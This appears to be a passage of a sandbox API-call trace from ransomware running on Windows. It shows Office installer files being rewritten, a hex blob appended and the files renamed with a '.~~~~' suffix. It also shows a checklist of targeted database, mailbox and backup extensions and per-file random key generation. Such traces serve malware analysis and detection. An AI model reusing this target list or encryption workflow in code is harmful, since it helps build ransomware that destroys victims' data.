	[0062.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0062.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e858
	[0062.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e7b0 | out: hHeap=0x300000) returned 1
	[0062.477] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0062.477] GetLastError () returned 0x0
	[0062.477] SetLastError (dwErrCode=0x0) 
	[0062.477] GetLastError () returned 0x0
	[0062.477] SetLastError (dwErrCode=0x0) 
	[0062.477] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0062.477] GetLastError () returned 0x0
	[0062.477] SetLastError (dwErrCode=0x0) 
	[0062.477] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.478] SetLastError (dwErrCode=0x0) 
	[0062.478] GetLastError () returned 0x0
	[0062.479] SetLastError (dwErrCode=0x0) 
	[0062.479] GetLastError () returned 0x0
	[0062.479] SetLastError (dwErrCode=0x0) 
	[0062.479] GetLastError () returned 0x0
	[0062.479] SetLastError (dwErrCode=0x0) 
	[0062.479] GetLastError () returned 0x0
	[0062.479] SetLastError (dwErrCode=0x0) 
	[0062.479] GetLastError () returned 0x0
	[0062.479] SetLastError (dwErrCode=0x0) 
	[0062.479] GetLastError () returned 0x0
	[0062.479] SetLastError (dwErrCode=0x0) 
	[0062.479] GetLastError () returned 0x0
	[0062.479] SetLastError (dwErrCode=0x0) 
	[0062.479] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e858 | out: hHeap=0x300000) returned 1
	[0062.479] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3cc258
	[0062.480] ReadFile (in: hFile=0x11c, lpBuffer=0x3cc258, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3cc258*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0062.539] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0062.539] WriteFile (in: hFile=0x11c, lpBuffer=0x3cc258*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3cc258*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0062.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc258 | out: hHeap=0x300000) returned 1
	[0062.541] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0062.541] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0062.607] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0062.607] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0062.608] CloseHandle (hObject=0x11c) returned 1
	[0063.127] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e7b0
	[0063.127] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.~~~~")) returned 1
	[0063.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e7b0 | out: hHeap=0x300000) returned 1
	[0063.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0063.128] GetLastError () returned 0x0
	[0063.128] SetLastError (dwErrCode=0x0) 
	[0063.128] GetLastError () returned 0x0
	[0063.128] SetLastError (dwErrCode=0x0) 
	[0063.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0063.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0063.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0063.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cb040 | out: hHeap=0x300000) returned 1
	[0063.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e678 | out: hHeap=0x300000) returned 1
	[0063.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.129] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5d0 | out: hHeap=0x300000) returned 1
	[0063.129] RtlWakeConditionVariable () returned 0x365f70
	[0063.129] GetCurrentThreadId () returned 0x9f4
	[0063.129] GetCurrentThreadId () returned 0x9f4
	[0063.129] SleepConditionVariableSRW (in: ConditionVariable=0x365f48, SRWLock=0x365fcc, dwMilliseconds=0xffffffff, Flags=0x0 | out: ConditionVariable=0x365f48, SRWLock=0x365fcc) returned 1
	[0063.171] GetCurrentThreadId () returned 0x9f4
	[0063.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e698
	[0063.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5e0 | out: hHeap=0x300000) returned 1
	[0063.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5e0
	[0063.171] lstrlenW (lpString=".scr") returned 4
	[0063.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".scr") returned 0x0
	[0063.171] lstrlenW (lpString=".cmd") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".cmd") returned 0x0
	[0063.172] lstrlenW (lpString=".dll") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dll") returned 0x0
	[0063.172] lstrlenW (lpString=".bat") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".bat") returned 0x0
	[0063.172] lstrlenW (lpString=".cpl") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".cpl") returned 0x0
	[0063.172] lstrlenW (lpString=".sys") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".sys") returned 0x0
	[0063.172] lstrlenW (lpString=".msc") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".msc") returned 0x0
	[0063.172] lstrlenW (lpString=".com") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".com") returned 0x0
	[0063.172] lstrlenW (lpString=".lnk") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".lnk") returned 0x0
	[0063.172] lstrlenW (lpString=".msp") returned 4
	[0063.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".msp") returned 0x0
	[0063.173] lstrlenW (lpString=".pif") returned 4
	[0063.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".pif") returned 0x0
	[0063.185] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0063.185] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0063.185] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0063.186] lstrlenW (lpString=".sqb") returned 4
	[0063.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".sqb") returned 0x0
	[0063.186] lstrlenW (lpString=".ost") returned 4
	[0063.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".ost") returned 0x0
	[0063.186] lstrlenW (lpString=".txt") returned 4
	[0063.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".txt") returned 0x0
	[0063.186] lstrlenW (lpString=".mdt") returned 4
	[0063.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".mdt") returned 0x0
	[0063.186] lstrlenW (lpString=".BDB") returned 4
	[0063.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".BDB") returned 0x0
	[0063.186] lstrlenW (lpString=".eql") returned 4
	[0063.186] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".eql") returned 0x0
	[0063.187] lstrlenW (lpString=".DBF") returned 4
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DBF") returned 0x0
	[0063.187] lstrlenW (lpString=".EQL") returned 4
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".EQL") returned 0x0
	[0063.187] lstrlenW (lpString=".FDB") returned 4
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".FDB") returned 0x0
	[0063.187] lstrlenW (lpString=".EDB") returned 4
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".EDB") returned 0x0
	[0063.187] lstrlenW (lpString=".DACPAC") returned 7
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DACPAC") returned 0x0
	[0063.187] lstrlenW (lpString=".VHD") returned 4
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".VHD") returned 0x0
	[0063.187] lstrlenW (lpString=".DBV") returned 4
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DBV") returned 0x0
	[0063.187] lstrlenW (lpString=".dacpac") returned 7
	[0063.187] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dacpac") returned 0x0
	[0063.187] lstrlenW (lpString=".sdf") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".sdf") returned 0x0
	[0063.188] lstrlenW (lpString=".accdb") returned 6
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".accdb") returned 0x0
	[0063.188] lstrlenW (lpString=".DBX") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DBX") returned 0x0
	[0063.188] lstrlenW (lpString=".MDT") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".MDT") returned 0x0
	[0063.188] lstrlenW (lpString=".SQB") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".SQB") returned 0x0
	[0063.188] lstrlenW (lpString=".vhd") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".vhd") returned 0x0
	[0063.188] lstrlenW (lpString=".bac") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".bac") returned 0x0
	[0063.188] lstrlenW (lpString=".mdf") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".mdf") returned 0x0
	[0063.188] lstrlenW (lpString=".BAK") returned 4
	[0063.188] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".BAK") returned 0x0
	[0063.189] lstrlenW (lpString=".BAC") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".BAC") returned 0x0
	[0063.189] lstrlenW (lpString=".dbs") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dbs") returned 0x0
	[0063.189] lstrlenW (lpString=".vhdx") returned 5
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".vhdx") returned 0x0
	[0063.189] lstrlenW (lpString=".NDF") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".NDF") returned 0x0
	[0063.189] lstrlenW (lpString=".dat") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dat") returned 0x0
	[0063.189] lstrlenW (lpString=".DBS") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DBS") returned 0x0
	[0063.189] lstrlenW (lpString=".CKP") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".CKP") returned 0x0
	[0063.189] lstrlenW (lpString=".edb") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".edb") returned 0x0
	[0063.189] lstrlenW (lpString=".PST") returned 4
	[0063.189] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".PST") returned 0x0
	[0063.189] lstrlenW (lpString=".dbf") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dbf") returned 0x0
	[0063.190] lstrlenW (lpString=".SQL") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".SQL") returned 0x0
	[0063.190] lstrlenW (lpString=".pst") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".pst") returned 0x0
	[0063.190] lstrlenW (lpString=".dbv") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dbv") returned 0x0
	[0063.190] lstrlenW (lpString=".SDF") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".SDF") returned 0x0
	[0063.190] lstrlenW (lpString=".dtxs") returned 5
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dtxs") returned 0x0
	[0063.190] lstrlenW (lpString=".db3") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".db3") returned 0x0
	[0063.190] lstrlenW (lpString=".OST") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".OST") returned 0x0
	[0063.190] lstrlenW (lpString=".dbx") returned 4
	[0063.190] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dbx") returned 0x0
	[0063.190] lstrlenW (lpString=".DB3") returned 4
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DB3") returned 0x0
	[0063.191] lstrlenW (lpString=".DAT") returned 4
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DAT") returned 0x0
	[0063.191] lstrlenW (lpString=".VHDX") returned 5
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".VHDX") returned 0x0
	[0063.191] lstrlenW (lpString=".ndf") returned 4
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".ndf") returned 0x0
	[0063.191] lstrlenW (lpString=".DB") returned 3
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DB") returned 0x0
	[0063.191] lstrlenW (lpString=".sql") returned 4
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".sql") returned 0x0
	[0063.191] lstrlenW (lpString=".MYD") returned 4
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".MYD") returned 0x0
	[0063.191] lstrlenW (lpString=".DBT") returned 4
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DBT") returned 0x0
	[0063.191] lstrlenW (lpString=".ACCDB") returned 6
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0063.191] lstrlenW (lpString=".fdb") returned 4
	[0063.191] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".fdb") returned 0x0
	[0063.192] lstrlenW (lpString=".bak") returned 4
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".bak") returned 0x0
	[0063.192] lstrlenW (lpString=".myd") returned 4
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".myd") returned 0x0
	[0063.192] lstrlenW (lpString=".DTXS") returned 5
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".DTXS") returned 0x0
	[0063.192] lstrlenW (lpString=".ckp") returned 4
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".ckp") returned 0x0
	[0063.192] lstrlenW (lpString=".dbt") returned 4
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".dbt") returned 0x0
	[0063.192] lstrlenW (lpString=".db") returned 3
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".db") returned 0x0
	[0063.192] lstrlenW (lpString=".TXT") returned 4
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".TXT") returned 0x0
	[0063.192] lstrlenW (lpString=".MDF") returned 4
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".MDF") returned 0x0
	[0063.192] lstrlenW (lpString=".bdb") returned 4
	[0063.192] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".bdb") returned 0x0
	[0063.193] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0063.193] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0063.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e750
	[0063.193] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0063.193] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39d948) returned 1
	[0063.194] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0063.194] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0063.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0063.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0063.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ea520
	[0063.195] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18318494971) returned 1
	[0063.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x92d20730, dwHighDateTime=0x1d60e1e)) 
	[0063.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0063.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0063.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0063.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0063.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0063.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0063.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0063.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0063.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
